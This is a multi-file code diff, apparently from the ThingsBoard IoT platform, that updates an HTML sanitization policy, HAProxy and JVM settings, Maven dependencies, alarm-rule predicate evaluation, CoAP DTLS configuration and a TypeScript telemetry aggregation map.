  118 + <tag name="link" action="remove"/>
  119 + <tag name="input" action="remove"/>
  120 + <tag name="textarea" action="remove"/>
  121 +
  122 + <tag name="br" action="remove"/>
  123 +
  124 + <tag name="p" action="remove"/>
  125 + <tag name="div" action="remove"/>
  126 + <tag name="span" action="remove"/>
  127 + <tag name="i" action="remove"/>
  128 + <tag name="b" action="remove"/>
  129 + <tag name="strong" action="remove"/>
  130 + <tag name="s" action="remove"/>
  131 + <tag name="strike" action="remove"/>
  132 + <tag name="u" action="remove"/>
  133 + <tag name="em" action="remove"/>
  134 + <tag name="blockquote" action="remove"/>
  135 + <tag name="tt" action="remove"/>
  136 +
  137 + <tag name="a" action="remove"/>
  138 +
  139 + <tag name="ul" action="remove"/>
  140 + <tag name="ol" action="remove"/>
  141 + <tag name="li" action="remove"/>
  142 + <tag name="dl" action="remove"/>
  143 + <tag name="dt" action="remove"/>
  144 + <tag name="dd" action="remove"/>
  145 + </tag-rules>
  146 +
  147 + <css-rules>
  148 + <property name="text-decoration" default="none"
  149 + description="">
  150 +
  151 + <category-list>
  152 + <category value="visual"/>
  153 + </category-list>
  154 +
  155 + <literal-list>
  156 + <literal value="underline"/>
  157 + <literal value="overline"/>
  158 + <literal value="line-through"/>
  159 + </literal-list>
  160 + </property>
  161 + </css-rules>
  162 +</anti-samy-rules>
@@ -230,7 +230,7 @@ services: @@ -230,7 +230,7 @@ services:
230 haproxy: 230 haproxy:
231 restart: always 231 restart: always
232 container_name: "${LOAD_BALANCER_NAME}" 232 container_name: "${LOAD_BALANCER_NAME}"
233 - image: xalauc/haproxy-certbot:1.7.9 233 + image: thingsboard/haproxy-certbot:1.3.0
234 volumes: 234 volumes:
235 - ./haproxy/config:/config 235 - ./haproxy/config:/config
236 - ./haproxy/letsencrypt:/etc/letsencrypt 236 - ./haproxy/letsencrypt:/etc/letsencrypt
@@ -54,7 +54,7 @@ frontend http-in @@ -54,7 +54,7 @@ frontend http-in
54 54
55 option forwardfor 55 option forwardfor
56 56
57 - reqadd X-Forwarded-Proto:\ http 57 + http-request add-header "X-Forwarded-Proto" "http"
58 58
59 acl transport_http_acl path_beg /api/v1/ 59 acl transport_http_acl path_beg /api/v1/
60 acl letsencrypt_http_acl path_beg /.well-known/acme-challenge/ 60 acl letsencrypt_http_acl path_beg /.well-known/acme-challenge/
@@ -73,7 +73,7 @@ frontend https_in @@ -73,7 +73,7 @@ frontend https_in
73 73
74 option forwardfor 74 option forwardfor
75 75
76 - reqadd X-Forwarded-Proto:\ https 76 + http-request add-header "X-Forwarded-Proto" "https"
77 77
78 acl transport_http_acl path_beg /api/v1/ 78 acl transport_http_acl path_beg /api/v1/
79 acl tb_api_acl path_beg /api/ /swagger /webjars /v2/ /static/rulenode/ /oauth2/ /login/oauth2/ /static/widgets/ 79 acl tb_api_acl path_beg /api/ /swagger /webjars /v2/ /static/rulenode/ /oauth2/ /login/oauth2/ /static/widgets/
@@ -23,11 +23,11 @@ metadata: @@ -23,11 +23,11 @@ metadata:
23 name: tb-coap-transport-config 23 name: tb-coap-transport-config
24 data: 24 data:
25 conf: | 25 conf: |
26 - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-coap-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-coap-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"  
27 - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"  
28 - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"  
29 - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"  
30 - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" 26 + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-coap-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
  27 + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-coap-transport/${TB_SERVICE_ID}-heapdump.bin"
  28 + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
  29 + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
  30 + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
31 export LOG_FILENAME=tb-coap-transport.out 31 export LOG_FILENAME=tb-coap-transport.out
32 export LOADER_PATH=/usr/share/tb-coap-transport/conf 32 export LOADER_PATH=/usr/share/tb-coap-transport/conf
33 logback: | 33 logback: |
@@ -23,11 +23,11 @@ metadata: @@ -23,11 +23,11 @@ metadata:
23 name: tb-http-transport-config 23 name: tb-http-transport-config
24 data: 24 data:
25 conf: | 25 conf: |
26 - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-http-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-http-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"  
27 - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"  
28 - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"  
29 - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"  
30 - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" 26 + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-http-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
  27 + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-http-transport/${TB_SERVICE_ID}-heapdump.bin"
  28 + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
  29 + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
  30 + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
31 export LOG_FILENAME=tb-http-transport.out 31 export LOG_FILENAME=tb-http-transport.out
32 export LOADER_PATH=/usr/share/tb-http-transport/conf 32 export LOADER_PATH=/usr/share/tb-http-transport/conf
33 logback: | 33 logback: |
@@ -23,11 +23,11 @@ metadata: @@ -23,11 +23,11 @@ metadata:
23 name: tb-mqtt-transport-config 23 name: tb-mqtt-transport-config
24 data: 24 data:
25 conf: | 25 conf: |
26 - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/tb-mqtt-transport/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"  
27 - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"  
28 - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"  
29 - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"  
30 - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" 26 + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
  27 + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/tb-mqtt-transport/${TB_SERVICE_ID}-heapdump.bin"
  28 + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
  29 + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
  30 + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
31 export LOG_FILENAME=tb-mqtt-transport.out 31 export LOG_FILENAME=tb-mqtt-transport.out
32 export LOADER_PATH=/usr/share/tb-mqtt-transport/conf 32 export LOADER_PATH=/usr/share/tb-mqtt-transport/conf
33 logback: | 33 logback: |
@@ -24,11 +24,11 @@ metadata: @@ -24,11 +24,11 @@ metadata:
24 data: 24 data:
25 conf: | 25 conf: |
26 export JAVA_OPTS="$JAVA_OPTS -Dplatform=deb -Dinstall.data_dir=/usr/share/thingsboard/data" 26 export JAVA_OPTS="$JAVA_OPTS -Dplatform=deb -Dinstall.data_dir=/usr/share/thingsboard/data"
27 - export JAVA_OPTS="$JAVA_OPTS -Xloggc:/var/log/thingsboard/${TB_SERVICE_ID}/gc.log -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/thingsboard/${TB_SERVICE_ID}/heapdump.bin -XX:+PrintGCDetails -XX:+PrintGCDateStamps"  
28 - export JAVA_OPTS="$JAVA_OPTS -XX:+PrintHeapAtGC -XX:+PrintTenuringDistribution -XX:+PrintGCApplicationStoppedTime -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=10"  
29 - export JAVA_OPTS="$JAVA_OPTS -XX:GCLogFileSize=10M -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"  
30 - export JAVA_OPTS="$JAVA_OPTS -XX:CMSWaitDuration=10000 -XX:+UseParNewGC -XX:+UseConcMarkSweepGC -XX:+CMSParallelRemarkEnabled -XX:+CMSParallelInitialMarkEnabled"  
31 - export JAVA_OPTS="$JAVA_OPTS -XX:+CMSEdenChunksRecordAlways -XX:CMSInitiatingOccupancyFraction=75 -XX:+UseCMSInitiatingOccupancyOnly -XX:+ExitOnOutOfMemoryError" 27 + export JAVA_OPTS="$JAVA_OPTS -Xlog:gc*,heap*,age*,safepoint=debug:file=/var/log/thingsboard/${TB_SERVICE_ID}-gc.log:time,uptime,level,tags:filecount=10,filesize=10M"
  28 + export JAVA_OPTS="$JAVA_OPTS -XX:+IgnoreUnrecognizedVMOptions -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/var/log/thingsboard/${TB_SERVICE_ID}-heapdump.bin"
  29 + export JAVA_OPTS="$JAVA_OPTS -XX:-UseBiasedLocking -XX:+UseTLAB -XX:+ResizeTLAB -XX:+PerfDisableSharedMem -XX:+UseCondCardMark"
  30 + export JAVA_OPTS="$JAVA_OPTS -XX:+UseG1GC -XX:MaxGCPauseMillis=500 -XX:+UseStringDeduplication -XX:+ParallelRefProcEnabled -XX:MaxTenuringThreshold=10"
  31 + export JAVA_OPTS="$JAVA_OPTS -XX:+ExitOnOutOfMemoryError"
32 export LOG_FILENAME=thingsboard.out 32 export LOG_FILENAME=thingsboard.out
33 export LOADER_PATH=/usr/share/thingsboard/conf,/usr/share/thingsboard/extensions 33 export LOADER_PATH=/usr/share/thingsboard/conf,/usr/share/thingsboard/extensions
34 logback: | 34 logback: |
@@ -47,6 +47,7 @@ @@ -47,6 +47,7 @@
47 <jjwt.version>0.7.0</jjwt.version> 47 <jjwt.version>0.7.0</jjwt.version>
48 <json-path.version>2.2.0</json-path.version> 48 <json-path.version>2.2.0</json-path.version>
49 <junit.version>4.12</junit.version> 49 <junit.version>4.12</junit.version>
  50 + <jupiter.version>5.7.1</jupiter.version>
50 <slf4j.version>1.7.7</slf4j.version> 51 <slf4j.version>1.7.7</slf4j.version>
51 <logback.version>1.2.3</logback.version> 52 <logback.version>1.2.3</logback.version>
52 <mockito.version>3.3.3</mockito.version> 53 <mockito.version>3.3.3</mockito.version>
@@ -116,6 +117,10 @@ @@ -116,6 +117,10 @@
116 <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version> 117 <protobuf-dynamic.version>1.0.2TB</protobuf-dynamic.version>
117 <wire-schema.version>3.4.0</wire-schema.version> 118 <wire-schema.version>3.4.0</wire-schema.version>
118 <twilio.version>7.54.2</twilio.version> 119 <twilio.version>7.54.2</twilio.version>
  120 + <hibernate-validator.version>6.0.13.Final</hibernate-validator.version>
  121 + <javax.el.version>3.0.0</javax.el.version>
  122 + <javax.validation-api.version>2.0.1.Final</javax.validation-api.version>
  123 + <antisamy.version>1.6.2</antisamy.version>
119 </properties> 124 </properties>
120 125
121 <modules> 126 <modules>
@@ -1237,6 +1242,11 @@ @@ -1237,6 +1242,11 @@
1237 <scope>test</scope> 1242 <scope>test</scope>
1238 </dependency> 1243 </dependency>
1239 <dependency> 1244 <dependency>
  1245 + <groupId>org.eclipse.californium</groupId>
  1246 + <artifactId>scandium</artifactId>
  1247 + <version>${californium.version}</version>
  1248 + </dependency>
  1249 + <dependency>
1240 <groupId>com.google.code.gson</groupId> 1250 <groupId>com.google.code.gson</groupId>
1241 <artifactId>gson</artifactId> 1251 <artifactId>gson</artifactId>
1242 <version>${gson.version}</version> 1252 <version>${gson.version}</version>
@@ -1341,6 +1351,12 @@ @@ -1341,6 +1351,12 @@
1341 <scope>test</scope> 1351 <scope>test</scope>
1342 </dependency> 1352 </dependency>
1343 <dependency> 1353 <dependency>
  1354 + <groupId>org.junit.jupiter</groupId>
  1355 + <artifactId>junit-jupiter-params</artifactId>
  1356 + <version>${jupiter.version}</version>
  1357 + <scope>test</scope>
  1358 + </dependency>
  1359 + <dependency>
1344 <groupId>org.dbunit</groupId> 1360 <groupId>org.dbunit</groupId>
1345 <artifactId>dbunit</artifactId> 1361 <artifactId>dbunit</artifactId>
1346 <version>${dbunit.version}</version> 1362 <version>${dbunit.version}</version>
@@ -1537,6 +1553,36 @@ @@ -1537,6 +1553,36 @@
1537 </exclusion> 1553 </exclusion>
1538 </exclusions> 1554 </exclusions>
1539 </dependency> 1555 </dependency>
  1556 + <dependency>
  1557 + <groupId>org.hibernate.validator</groupId>
  1558 + <artifactId>hibernate-validator</artifactId>
  1559 + <version>${hibernate-validator.version}</version>
  1560 + </dependency>
  1561 + <dependency>
  1562 + <groupId>org.glassfish</groupId>
  1563 + <artifactId>javax.el</artifactId>
  1564 + <version>${javax.el.version}</version>
  1565 + </dependency>
  1566 + <dependency>
  1567 + <groupId>javax.validation</groupId>
  1568 + <artifactId>validation-api</artifactId>
  1569 + <version>${javax.validation-api.version}</version>
  1570 + </dependency>
  1571 + <dependency>
  1572 + <groupId>org.owasp.antisamy</groupId>
  1573 + <artifactId>antisamy</artifactId>
  1574 + <version>${antisamy.version}</version>
  1575 + <exclusions>
  1576 + <exclusion>
  1577 + <groupId>org.slf4j</groupId>
  1578 + <artifactId>*</artifactId>
  1579 + </exclusion>
  1580 + <exclusion>
  1581 + <groupId>com.github.spotbugs</groupId>
  1582 + <artifactId>spotbugs-annotations</artifactId>
  1583 + </exclusion>
  1584 + </exclusions>
  1585 + </dependency>
1540 </dependencies> 1586 </dependencies>
1541 </dependencyManagement> 1587 </dependencyManagement>
1542 1588
@@ -33,10 +33,7 @@ import org.thingsboard.server.common.data.device.profile.SimpleAlarmConditionSpe @@ -33,10 +33,7 @@ import org.thingsboard.server.common.data.device.profile.SimpleAlarmConditionSpe
33 import org.thingsboard.server.common.data.device.profile.SpecificTimeSchedule; 33 import org.thingsboard.server.common.data.device.profile.SpecificTimeSchedule;
34 import org.thingsboard.server.common.data.query.BooleanFilterPredicate; 34 import org.thingsboard.server.common.data.query.BooleanFilterPredicate;
35 import org.thingsboard.server.common.data.query.ComplexFilterPredicate; 35 import org.thingsboard.server.common.data.query.ComplexFilterPredicate;
36 -import org.thingsboard.server.common.data.query.EntityKey;  
37 -import org.thingsboard.server.common.data.query.EntityKeyType;  
38 import org.thingsboard.server.common.data.query.FilterPredicateValue; 36 import org.thingsboard.server.common.data.query.FilterPredicateValue;
39 -import org.thingsboard.server.common.data.query.KeyFilter;  
40 import org.thingsboard.server.common.data.query.KeyFilterPredicate; 37 import org.thingsboard.server.common.data.query.KeyFilterPredicate;
41 import org.thingsboard.server.common.data.query.NumericFilterPredicate; 38 import org.thingsboard.server.common.data.query.NumericFilterPredicate;
42 import org.thingsboard.server.common.data.query.StringFilterPredicate; 39 import org.thingsboard.server.common.data.query.StringFilterPredicate;
@@ -275,7 +272,7 @@ class AlarmRuleState { @@ -275,7 +272,7 @@ class AlarmRuleState {
275 if (value == null) { 272 if (value == null) {
276 return false; 273 return false;
277 } 274 }
278 - eval = eval && eval(data, value, filter.getPredicate()); 275 + eval = eval && eval(data, value, filter.getPredicate(), filter);
279 } 276 }
280 return eval; 277 return eval;
281 } 278 }
@@ -300,33 +297,33 @@ class AlarmRuleState { @@ -300,33 +297,33 @@ class AlarmRuleState {
300 return value; 297 return value;
301 } 298 }
302 299
303 - private boolean eval(DataSnapshot data, EntityKeyValue value, KeyFilterPredicate predicate) { 300 + private boolean eval(DataSnapshot data, EntityKeyValue value, KeyFilterPredicate predicate, AlarmConditionFilter filter) {
304 switch (predicate.getType()) { 301 switch (predicate.getType()) {
305 case STRING: 302 case STRING:
306 - return evalStrPredicate(data, value, (StringFilterPredicate) predicate); 303 + return evalStrPredicate(data, value, (StringFilterPredicate) predicate, filter);
307 case NUMERIC: 304 case NUMERIC:
308 - return evalNumPredicate(data, value, (NumericFilterPredicate) predicate); 305 + return evalNumPredicate(data, value, (NumericFilterPredicate) predicate, filter);
309 case BOOLEAN: 306 case BOOLEAN:
310 - return evalBoolPredicate(data, value, (BooleanFilterPredicate) predicate); 307 + return evalBoolPredicate(data, value, (BooleanFilterPredicate) predicate, filter);
311 case COMPLEX: 308 case COMPLEX:
312 - return evalComplexPredicate(data, value, (ComplexFilterPredicate) predicate); 309 + return evalComplexPredicate(data, value, (ComplexFilterPredicate) predicate, filter);
313 default: 310 default:
314 return false; 311 return false;
315 } 312 }
316 } 313 }
317 314
318 - private boolean evalComplexPredicate(DataSnapshot data, EntityKeyValue ekv, ComplexFilterPredicate predicate) { 315 + private boolean evalComplexPredicate(DataSnapshot data, EntityKeyValue ekv, ComplexFilterPredicate predicate, AlarmConditionFilter filter) {
319 switch (predicate.getOperation()) { 316 switch (predicate.getOperation()) {
320 case OR: 317 case OR:
321 for (KeyFilterPredicate kfp : predicate.getPredicates()) { 318 for (KeyFilterPredicate kfp : predicate.getPredicates()) {
322 - if (eval(data, ekv, kfp)) { 319 + if (eval(data, ekv, kfp, filter)) {
323 return true; 320 return true;
324 } 321 }
325 } 322 }
326 return false; 323 return false;
327 case AND: 324 case AND:
328 for (KeyFilterPredicate kfp : predicate.getPredicates()) { 325 for (KeyFilterPredicate kfp : predicate.getPredicates()) {
329 - if (!eval(data, ekv, kfp)) { 326 + if (!eval(data, ekv, kfp, filter)) {
330 return false; 327 return false;
331 } 328 }
332 } 329 }
@@ -336,12 +333,15 @@ class AlarmRuleState { @@ -336,12 +333,15 @@ class AlarmRuleState {
336 } 333 }
337 } 334 }
338 335
339 - private boolean evalBoolPredicate(DataSnapshot data, EntityKeyValue ekv, BooleanFilterPredicate predicate) { 336 + private boolean evalBoolPredicate(DataSnapshot data, EntityKeyValue ekv, BooleanFilterPredicate predicate, AlarmConditionFilter filter) {
340 Boolean val = getBoolValue(ekv); 337 Boolean val = getBoolValue(ekv);
341 if (val == null) { 338 if (val == null) {
342 return false; 339 return false;
343 } 340 }
344 - Boolean predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getBoolValue); 341 + Boolean predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getBoolValue);
  342 + if (predicateValue == null) {
  343 + return false;
  344 + }
345 switch (predicate.getOperation()) { 345 switch (predicate.getOperation()) {
346 case EQUAL: 346 case EQUAL:
347 return val.equals(predicateValue); 347 return val.equals(predicateValue);
@@ -352,12 +352,15 @@ class AlarmRuleState { @@ -352,12 +352,15 @@ class AlarmRuleState {
352 } 352 }
353 } 353 }
354 354
355 - private boolean evalNumPredicate(DataSnapshot data, EntityKeyValue ekv, NumericFilterPredicate predicate) { 355 + private boolean evalNumPredicate(DataSnapshot data, EntityKeyValue ekv, NumericFilterPredicate predicate, AlarmConditionFilter filter) {
356 Double val = getDblValue(ekv); 356 Double val = getDblValue(ekv);
357 if (val == null) { 357 if (val == null) {
358 return false; 358 return false;
359 } 359 }
360 - Double predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getDblValue); 360 + Double predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getDblValue);
  361 + if (predicateValue == null) {
  362 + return false;
  363 + }
361 switch (predicate.getOperation()) { 364 switch (predicate.getOperation()) {
362 case NOT_EQUAL: 365 case NOT_EQUAL:
363 return !val.equals(predicateValue); 366 return !val.equals(predicateValue);
@@ -376,12 +379,15 @@ class AlarmRuleState { @@ -376,12 +379,15 @@ class AlarmRuleState {
376 } 379 }
377 } 380 }
378 381
379 - private boolean evalStrPredicate(DataSnapshot data, EntityKeyValue ekv, StringFilterPredicate predicate) { 382 + private boolean evalStrPredicate(DataSnapshot data, EntityKeyValue ekv, StringFilterPredicate predicate, AlarmConditionFilter filter) {
380 String val = getStrValue(ekv); 383 String val = getStrValue(ekv);
381 if (val == null) { 384 if (val == null) {
382 return false; 385 return false;
383 } 386 }
384 - String predicateValue = getPredicateValue(data, predicate.getValue(), AlarmRuleState::getStrValue); 387 + String predicateValue = getPredicateValue(data, predicate.getValue(), filter, AlarmRuleState::getStrValue);
  388 + if (predicateValue == null) {
  389 + return false;
  390 + }
385 if (predicate.isIgnoreCase()) { 391 if (predicate.isIgnoreCase()) {
386 val = val.toLowerCase(); 392 val = val.toLowerCase();
387 predicateValue = predicateValue.toLowerCase(); 393 predicateValue = predicateValue.toLowerCase();
@@ -404,7 +410,7 @@ class AlarmRuleState { @@ -404,7 +410,7 @@ class AlarmRuleState {
404 } 410 }
405 } 411 }
406 412
407 - private <T> T getPredicateValue(DataSnapshot data, FilterPredicateValue<T> value, Function<EntityKeyValue, T> transformFunction) { 413 + private <T> T getPredicateValue(DataSnapshot data, FilterPredicateValue<T> value, AlarmConditionFilter filter, Function<EntityKeyValue, T> transformFunction) {
408 EntityKeyValue ekv = getDynamicPredicateValue(data, value); 414 EntityKeyValue ekv = getDynamicPredicateValue(data, value);
409 if (ekv != null) { 415 if (ekv != null) {
410 T result = transformFunction.apply(ekv); 416 T result = transformFunction.apply(ekv);
@@ -412,7 +418,11 @@ class AlarmRuleState { @@ -412,7 +418,11 @@ class AlarmRuleState {
412 return result; 418 return result;
413 } 419 }
414 } 420 }
415 - return value.getDefaultValue(); 421 + if (filter.getKey().getType() != AlarmConditionKeyType.CONSTANT) {
  422 + return value.getDefaultValue();
  423 + } else {
  424 + return null;
  425 + }
416 } 426 }
417 427
418 private <T> EntityKeyValue getDynamicPredicateValue(DataSnapshot data, FilterPredicateValue<T> value) { 428 private <T> EntityKeyValue getDynamicPredicateValue(DataSnapshot data, FilterPredicateValue<T> value) {
@@ -46,6 +46,24 @@ transport: @@ -46,6 +46,24 @@ transport:
46 bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}" 46 bind_address: "${COAP_BIND_ADDRESS:0.0.0.0}"
47 bind_port: "${COAP_BIND_PORT:5683}" 47 bind_port: "${COAP_BIND_PORT:5683}"
48 timeout: "${COAP_TIMEOUT:10000}" 48 timeout: "${COAP_TIMEOUT:10000}"
  49 + dtls:
  50 + # Enable/disable DTLS 1.2 support
  51 + enabled: "${COAP_DTLS_ENABLED:false}"
  52 + # Secure mode. Allowed values: NO_AUTH, X509
  53 + mode: "${COAP_DTLS_SECURE_MODE:NO_AUTH}"
  54 + # Path to the key store that holds the certificate
  55 + key_store: "${COAP_DTLS_KEY_STORE:coapserver.jks}"
  56 + # Password used to access the key store
  57 + key_store_password: "${COAP_DTLS_KEY_STORE_PASSWORD:server_ks_password}"
  58 + # Password used to access the key
  59 + key_password: "${COAP_DTLS_KEY_PASSWORD:server_key_password}"
  60 + # Key alias
  61 + key_alias: "${COAP_DTLS_KEY_ALIAS:serveralias}"
  62 + # Skip certificate validity check for client certificates.
  63 + skip_validity_check_for_client_cert: "${COAP_DTLS_SKIP_VALIDITY_CHECK_FOR_CLIENT_CERT:false}"
  64 + x509:
  65 + dtls_session_inactivity_timeout: "${TB_COAP_X509_DTLS_SESSION_INACTIVITY_TIMEOUT:86400000}"
  66 + dtls_session_report_timeout: "${TB_COAP_X509_DTLS_SESSION_REPORT_TIMEOUT:1800000}"
49 sessions: 67 sessions:
50 inactivity_timeout: "${TB_TRANSPORT_SESSIONS_INACTIVITY_TIMEOUT:300000}" 68 inactivity_timeout: "${TB_TRANSPORT_SESSIONS_INACTIVITY_TIMEOUT:300000}"
51 report_timeout: "${TB_TRANSPORT_SESSIONS_REPORT_TIMEOUT:30000}" 69 report_timeout: "${TB_TRANSPORT_SESSIONS_REPORT_TIMEOUT:30000}"
@@ -17,10 +17,9 @@ @@ -17,10 +17,9 @@
17 import { SubscriptionData, SubscriptionDataHolder } from '@app/shared/models/telemetry/telemetry.models'; 17 import { SubscriptionData, SubscriptionDataHolder } from '@app/shared/models/telemetry/telemetry.models';
18 import { 18 import {
19 AggregationType, calculateIntervalComparisonEndTime, 19 AggregationType, calculateIntervalComparisonEndTime,
20 - calculateIntervalEndTime,  
21 - calculateIntervalStartTime, 20 + calculateIntervalEndTime, calculateIntervalStartEndTime,
22 getCurrentTime, 21 getCurrentTime,
23 - getCurrentTimeForComparison, 22 + getCurrentTimeForComparison, getTime,
24 SubscriptionTimewindow 23 SubscriptionTimewindow
25 } from '@shared/models/time/time.models'; 24 } from '@shared/models/time/time.models';
26 import { UtilsService } from '@core/services/utils.service'; 25 import { UtilsService } from '@core/services/utils.service';
@@ -36,8 +35,56 @@ interface AggData { @@ -36,8 +35,56 @@ interface AggData {
36 aggValue: any; 35 aggValue: any;
37 } 36 }
38 37
39 -interface AggregationMap {  
40 - [key: string]: Map<number, AggData>; 38 +class AggDataMap {
  39 + rangeChanged = false;
  40 + private minTs = Number.MAX_SAFE_INTEGER;
  41 + private map = new Map<number, AggData>();
  42 +
  43 + set(ts: number, data: AggData) {
  44 + if (ts < this.minTs) {
  45 + this.rangeChanged = true;
  46 + this.minTs = ts;
  47 + }
  48 + this.map.set(ts, data);
  49 + }
  50 +
  51 + get(ts: number): AggData {
  52 + return this.map.get(ts);
  53 + }
  54 +
  55 + delete(ts: number) {
  56 + this.map.delete(ts);
  57 + }
  58 +
  59 + forEach(callback: (value: AggData, key: number, map: Map<number, AggData>) => void, thisArg?: any) {
  60 + this.map.forEach(callback, thisArg);
  61 + }
  62 +
  63 + size(): number {
  64 + return this.map.size;
  65 + }
  66 +}
  67 +
  68 +class AggregationMap {
  69 + aggMap: {[key: string]: AggDataMap} = {};
  70 +
  71 + detectRangeChanged(): boolean {
  72 + let changed = false;
  73 + for (const key of Object.keys(this.aggMap)) {
  74 + const aggDataMap = this.aggMap[key];
  75 + if (aggDataMap.rangeChanged) {
  76 + changed = true;
  77 + aggDataMap.rangeChanged = false;
  78 + }
  79 + }
  80 + return changed;
  81 + }
  82 +
  83 + clearRangeChangedFlags() {
  84 + for (const key of Object.keys(this.aggMap)) {
  85 + this.aggMap[key].rangeChanged = false;
  86 + }
  87 + }
41 } 88 }
42 89
